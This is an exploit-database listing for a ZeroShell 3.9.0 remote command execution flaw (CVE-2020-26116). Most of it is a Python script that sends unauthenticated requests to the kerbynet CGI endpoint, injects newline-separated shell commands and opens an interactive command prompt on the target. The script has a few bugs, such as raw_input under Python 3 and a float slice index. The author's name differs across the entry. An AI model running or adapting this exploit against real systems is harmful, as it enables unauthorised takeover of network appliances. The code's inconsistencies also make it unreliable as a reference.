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ZeroShell 3.9.0 | Remote Command Execution

CVE Category Price Severity
CVE-2020-26116 CWE-78 $5,000 High
Author Risk Exploitation Type Date
ElonSight Critical Remote 2021-05-30
CPE
cpe:cpe:/a:zeroshell:zeroshell:3.9.0
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.875 0.99

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021050163

Below is a copy:

ZeroShell 3.9.0 | Remote Command Execution
|===========================================================================
| # Exploit Title : ZeroShell 3.9.0 | Remote Command Execution 
|                                                                           
| # Author : Ali Seddigh                                             
|                                                                           
| # Category : Web Application               
|
| # Vendor Homepage: https://zeroshell.org/
|
| # Software Link: https://zeroshell.org/download/
|                                                                           
| # Tested on : [ Windows ~> 10 , Kali Linux ]                                                     
|
| # Version : 3.9.0
|                  
| # Date : 2021-05-29                                                        
|===========================================================================

#!/usr/bin/python3

import requests
import optparse
import time

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')

options, args = parser.parse_args()
if not options.url:
    print('[+] Specify an url target')
    print('[+] Example usage: exploit.py -u http://target-uri/')
    print('[+] Example help usage: exploit.py -h')
    exit()

uri_zeroshell = options.url
session = requests.Session()

def command():
    try:
        check = session.get(uri_zeroshell + "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'")
        if check.status_code == 200:
            flag = True
            print('[+] ZeroShell 3.9.0 Remote Command Execution')
            time.sleep(1)
            print('[+] Success connect to target')
            time.sleep(1)
            print('[+] Trying to execute command in ZeroShell OS...\n')
            time.sleep(1)
            check.raise_for_status()  

        while flag:
            cmd = raw_input("$ ")
            payload = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A" + cmd + "%0A'"
            uri_vuln = uri_zeroshell + payload
            burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
            res = session.get(uri_vuln, headers=burp0_headers, verify=False)
            print(res.text[:res.text.rindex("<html>") / 2])

    except requests.exceptions.ConnectionError as err:
        print('[x] Failed to Connect in: '+uri_zeroshell+' ')
        print('[x] This host seems to be Down')
        exit()
    except requests.exceptions.HTTPError as conn:
        print('[x] Failed to execute command in: '+uri_zeroshell+' ')
        print('[x] This host does not appear to be a ZeroShell')
        exit()

command()

|===========================================================================
| # Discovered By : Ali Triplex                                             
|===========================================================================

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